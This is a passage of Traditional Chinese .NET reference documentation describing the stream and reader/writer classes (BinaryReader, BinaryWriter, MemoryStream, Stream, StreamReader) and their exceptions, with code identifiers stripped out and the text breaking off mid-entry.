讀入緩衝區的字元總數。如果目前沒有足夠的位元組數，這可能會小於要求的位元組數；如果已到達資料流末端，則可能為零。 + 要讀取資料的緩衝區。 + 開始讀取資料到緩衝區的緩衝區起始點。 + 要讀取的字元數。 + 緩衝區長度減去 小於 。-或-欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + + 為 null。 + + 或 為負值。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以壓縮格式讀取 32 位元整數。 + 壓縮格式的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 資料流已損毀。 + + + 自目前資料流讀取 Boolean 值，並將資料流中目前的位置往前移一個位元組。 + 如果位元組為非零值，則為 true；否則為 false。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取下一個位元組，並將資料流中目前的位置往前移一個位元組。 + 自目前資料流讀取的下一個位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 將目前資料流中的指定位元組數讀入位元組陣列中，並將目前的位置前移該位元組數。 + 位元組陣列，含有自基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的位元組數。 + 要讀取的位元組數。這個值必須是 0 或非負數，否則會發生例外狀況。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為負值。 + 2 + + + 按照所使用的 Encoding 和從資料流讀取的特定字元，自目前資料流讀取下一個字元，並將資料流中目前的位置往前移。 + 自目前資料流讀取的字元。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 讀取到 Surrogate 字元 + 2 + + + 讀取目前資料流中的指定字元數，並將資料傳入字元陣列中，然後依據使用的 Encoding 以及正在從資料流中讀取的指定字元，前移目前的位置。 + 字元陣列，含有從基礎資料流讀取的資料。如果已到達資料流末端，這可能會小於要求的字元數。 + 要讀取的字元數。 + 欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 已關閉資料流。 + 發生 I/O 錯誤。 + + 為負值。 + 2 + + + 自目前資料流讀取十進位值，並將資料流的目前位置前移十六個位元組。 + 自目前資料流讀取的十進位值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組浮點數值，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 2 位元組帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自目前資料流讀取的 2 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自資料流讀取帶正負號的位元組，並將資料流目前位置前移一個位元組。 + 自資料流讀取的帶正負號的位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組浮點數值，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取字串。字串會以長度為前置字元，每次以七位元編碼為一整數。 + 讀取的字串。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以位元組由小到大的編碼方式自目前資料流讀取 2 位元組不帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自這個資料流讀取 2 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組不帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自這個資料流讀取 4 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組不帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自這個資料流讀取 8 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 以二進位方式將基本型別 (Primitive Type) 寫入資料流，並支援以特定編碼方式寫入字串。 + 2 + + + 初始化 類別的新執行個體，其將寫入資料流。 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 資料流不支援寫入，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和字元編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 要使用的字元編碼。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 根據指定的資料流和特定的字元編碼方式，初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 輸出資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 取得 的基礎資料流。 + 與 BinaryWriter 相關聯的基礎資料流。 + 1 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 指定沒有備份存放區的 。 + 1 + + + 容納基礎資料流。 + + + 設定目前資料流位置。 + 目前資料流的位置。 + 相對於 的位元組位移。 + + 的欄位，表示要取得新位置的參考點。 + 檔案指標已移至無效的位置。 + + 值是無效的。 + 1 + + + 寫入一位元組的 Boolean 值至目前資料流，其中 0 表示 false，1 表示 true。 + 要寫入的 Boolean 值 (0 或 1)。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將不帶正負號 (Unsigned) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的不帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將位元組陣列寫入基礎資料流。 + 含有要寫入之資料的位元組陣列。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為 null。 + 1 + + + 將一個區域的位元組陣列寫入目前資料流。 + 含有要寫入之資料的位元組陣列。 + + 中要開始寫入的起始點。 + 要寫入的位元組數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將 Unicode 字元寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 非 Surrogate，要寫入的 Unicode 字元。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 是單一 Surrogate 字元。 + 1 + + + 將字元陣列寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 為 null。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列中的一區段寫入至目前的資料流，並按照所使用的 Encoding 和可能為寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 中要開始寫入的起始點。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將十進位值寫入目前的資料流，並將資料流位置往前移十六個位元組。 + 要寫入的十進位值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組浮點數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將二位元組帶正負號的整數 (Signed Integer) 寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將帶正負號 (Signed) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組浮點數 (Floating-Point) 值寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將有長度前置字元的字串以目前 的編碼方式寫入此資料流，並按照所使用的編碼方式和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 要寫入的值。 + 發生 I/O 錯誤。 + + 為 null。 + 已關閉資料流。 + 1 + + + 將二位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組不帶正負號的整數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組不帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 以壓縮格式寫入 32 位元整數。 + 要寫入的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 已關閉資料流。 + + + 嘗試超過資料流末端進行讀取時所擲回的例外狀況。 + 2 + + + 將其訊息字串設定為系統提供的訊息且將其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + + + 使用其訊息字串設定為 和其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + + + 使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 資料流在格式無效時擲回的例外狀況。 + + + 初始化 類別的新執行個體。 + + + 使用指定的錯誤訊息，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + + + 使用造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 建立支援的存放區為記憶體的資料流。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化為零的可擴展容量，初始化 類別的新執行個體。 + + + 根據指定的位元組陣列，初始化 類別之不可調整大小的執行個體。 + 用於建立目前資料流之不帶正負號位元組的陣列。 + + 為 null。 + + + 根據具有指定的 屬性設定之位元組陣列，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + + 根據位元組陣列的指定區域 (索引)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 為 null。 + + 或 小於零。 + 緩衝區長度減去 小於 。 + + + 根據位元組陣列的指定區域 (且該區域使用依指定所設定的 屬性)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 根據指定的位元組陣列區域 (且該區域使用依指定所設定的 屬性和依指定所設定的呼叫 的能力)，來初始化 類別的新執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + 啟用 (傳回從其中建立資料流的不帶正負號的位元組陣列)，則為 true；否則為 false。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 使用初始化為指定的可擴展容量，初始化 類別的新執行個體。 + 內部陣列的初始大小，以位元組為單位。 + + 為負值。 + + + 取得表示目前資料流是否支援讀取的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援搜尋的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援寫入的值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 2 + + + 取得或設定配置給這個資料流的位元組數目。 + 資料流緩衝區可使用部分的長度。 + 設定的容量為負數或小於資料流目前的長度。 + 目前的資料流已經關閉。 + set 在無法修改其容量的資料流上被叫用 (Invoke)。 + 2 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。 + 用來監視是否有取消要求的語彙基元。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 覆寫 方法，以便不執行任何動作。 + 2 + + + 非同步清除這個資料流的所有緩衝區，並監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。 + 已處置資料流。 + + + 取得資料流的長度，以位元組為單位。 + 資料流的長度，以位元組為單位。 + 已關閉資料流。 + 2 + + + 取得或設定資料流中目前的位置。 + 在資料流的目前位置。 + 位置設為負數值或大於 的值。 + 已關閉資料流。 + 2 + + + 從目前的資料流讀取位元組區塊，並且將資料寫入緩衝區。 + 寫入至緩衝區的總位元組數。如果目前無法提供那麼多的位元組數目，則這個數目可能小於所要求的位元組數目，或如果在讀取任何資料之前已經到達資料流末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定位元組陣列，該值是由讀取自目前資料流的字元所取代。 + + 中以零為起始的位元組位移，用來開始儲存讀取自目前資料流的資料。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + 緩衝區的長度減去 小於 。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從目前的資料流讀取位元組。 + 轉型為 的位元組；如果已經到達資料流的末端，則為 -1。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流中的位置設定為指定的數值。 + 資料流中的新位置，是組合初始的參考點和位移計算出來的。 + 資料流中的新位置。這是相對於 參數，並且可能是正數或負數。 + + 類型的值，做為搜尋參考點。 + 在資料流開頭之前嘗試搜尋。 + + 大於 。 + 有無效的 。-或- 造成了算術溢位。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流的長度設定為指定的數值。 + 要設定長度的數值。 + 目前的資料流不是可調整大小的，並且 大於目前的容量。-或- 目前的資料流不支援寫入。 + + 為負，或大於 的最大長度，最大長度是 ( - 原點)，原點是資料流開始的基礎緩衝區索引。 + 2 + + + 不論 屬性為何，將資料流內容寫入位元組陣列。 + 新的位元組陣列。 + 2 + + + 傳回用於建立這個資料流之不帶正負號位元組的陣列。指出轉換是否成功的傳回值。 + 如果轉換成功，則為 true；否則為 false。 + 從其中建立此資料流的位元組陣列區段。 + + + 使用讀取自緩衝區的資料，將位元組區塊寫入至目前的資料流。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入的最大位元組數。 + + 為 null。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 和 位元組相比，目前的位置更接近資料流末端，並且容量無法修改。 + 緩衝區的長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入位元組至資料流目前位置。 + 要寫入的位元組。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 目前的位置在資料流結尾，並且無法修改容量。 + 目前的資料流已經關閉。 + 2 + + + 將這個記憶體資料流的整個內容寫入另一個資料流。 + 要寫入這個記憶體資料流的資料流。 + + 為 null。 + 目前的資料流或目標資料流已經關閉。 + 2 + + + 指定資料流中要用於搜尋的位置。 + 2 + + + 指定資料流的開端。 + + + 指定資料流中的目前位置。 + + + 指定資料流的末端。 + + + 提供位元組順序的一般觀點。這是 abstract 類別。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 類別的新執行個體。 + + + 在衍生類別中覆寫時，取得指示目前的資料流是否支援讀取的數值。 + 如果資料流支援讀取，則為 true；否則為 false。 + 1 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援搜尋的數值。 + 如果資料流支援搜尋，則為 true；否則為 false。 + 1 + + + 取得值，該值判斷目前的資料流是否可以逾時。 + 值，判斷目前的資料流是否可以逾時。 + 2 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援寫入的數值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 1 + + + 從目前資料流讀取位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 使用指定的緩衝區大小，從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 所使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫時，會清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 發生 I/O 錯誤。 + 2 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 已處置資料流。 + + + 以非同步的方式清除這個資料流的所有緩衝區，造成任何緩衝資料都寫入基礎裝置，並且監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + 已處置資料流。 + + + 在衍生類別中覆寫時，取得資料流的長度 (以位元組為單位)。 + 代表資料流長度的長數值 (以位元組為單位)。 + 衍生自 Stream 的類別不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 沒有底層存放區的 Stream。 + 1 + + + 在衍生類別中覆寫時，取得或設定在目前資料流的位置。 + 在資料流的目前位置。 + 發生 I/O 錯誤。 + 資料流不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 當在衍生類別中覆寫時，自目前資料流讀取一連串的位元組，並依所讀取的位元組數目進階資料流中的位置。 + 緩衝區所讀取的總位元組數。如果目前無法取得足夠的位元組，則這個數目可能小於所要求的位元組數，如果已經到達資料流末端，則為零 (0)。 + 位元組陣列。當這個方法返回時，緩衝區會包含具有介於 和 ( + - 1) 值的指定位元組陣列，由從目前來源讀取的位元組所取代。 + + 中以零起始的位元組位移，即開始儲存讀取自目前資料流之資料的位置。 + 自目前資料流讀取的最大位元組數。 + + 和 的總和大於緩衝區的長度。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 以非同步的方式從目前的資料流讀取位元組序列，並依讀取的位元組數將資料流中的位置往前移。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從資料流讀取一個位元組，並將資料流的位置推進一個位元組；如果在資料流末端，則傳回 -1。 + 轉型為 Int32 的不帶正負號位元組，如果在資料流末端，則為 -1。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + + 方法必須擲回 。 + 2 + + + 在衍生類別中覆寫時，設定在目前資料流的位置。 + 目前資料流的新位置。 + 相對於 參數的位元組位移。 + + 類型的值，表示用來取得新位置的參考點。 + 發生 I/O 錯誤。 + 資料流不支援搜尋，例如資料流為管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 在衍生類別中覆寫時，設定目前資料流的長度。 + 想要的目前資料流長度 (單位為位元組)。 + 發生 I/O 錯誤。 + 資料流不支援寫入和搜尋，例如，如果資料流是從管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 在衍生類別中覆寫時，將一連串的位元組寫入目前的資料流，並且由這個資料流中目前的位置前移寫入的位元組數目。 + 位元組陣列。此方法會從 複製 位元組到目前資料流。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入目前資料流的位元組數目。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 資料流不支援寫入。 + + 流关闭后调用。 + 1 + + + 以非同步的方式將位元組序列寫入至目前的資料流，並依寫入的位元組數將資料流中目前的位置往前移。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入一個位元組至資料流的目前位置，並將資料流位置推進一個位元組。 + 寫入資料流的位元組。 + 發生 I/O 錯誤。 + 資料流不支援寫入，或資料流已經關閉。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + + 方法必須擲回 。 + 2 + + + 實作以特定的編碼方式自位元組資料流讀取字元的 。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 為指定的資料流，初始化 類別的新執行個體。 + 要讀取的資料流。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的位元組順序標記偵測選項，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的字元編碼，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼和位元組順序標記偵測選項，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼、位元組順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + 最小緩衝區大小。 + 資料流不支援讀取。 + + 或 為 null。 + + 小於或等於零值。 + + + 根據指定的字元編碼、位元順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要讀取的資料流。 + 要使用的字元編碼。 + true 表示在檔案開頭尋找位元順序標記；否則為 false。 + 最小緩衝區大小。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + + 傳回基礎資料流。 + 基礎資料流。 + 2 + + + 取得目前 物件使用的目前字元編碼。 + 目前讀取器所使用的字元編碼。在第一次呼叫 的任何 方法之後其值可能不同，因為編碼方式的自動偵測要等到第一次呼叫 方法後才完成。 + 2 + + + 清除內部緩衝區。 + 2 + + + 關閉基礎資料流，接著釋放 所使用的 Unmanaged 資源，然後再選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得表示現行資料流位置是否在資料流結尾的值。 + 如果現行資料流位置在資料流的結尾，則為 true；否則為 false。 + 已處置基礎資料流。 + 1 + + + 空資料流周圍的 物件。 + 1 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有要讀取的字元或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 1 + + + 自輸入資料流讀取下一個字元，並將字元位置前移一個字元。 + 來自輸入資料流的下一個字元會以 物件來表示；如果不再有可以使用的字元，則以 -1 表示。 + 發生 I/O 錯誤。 + 1 + + + 從目前資料流讀取指定的字元數目上限，在指定的索引位置開始讀入緩衝區中。 + 已讀取字元數，或為 0 (如果處於資料流末端而無資料讀取)。數目將小於或等於 參數，取決於資料流內是否有資料可供使用。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + 要開始寫入的 的索引。 + 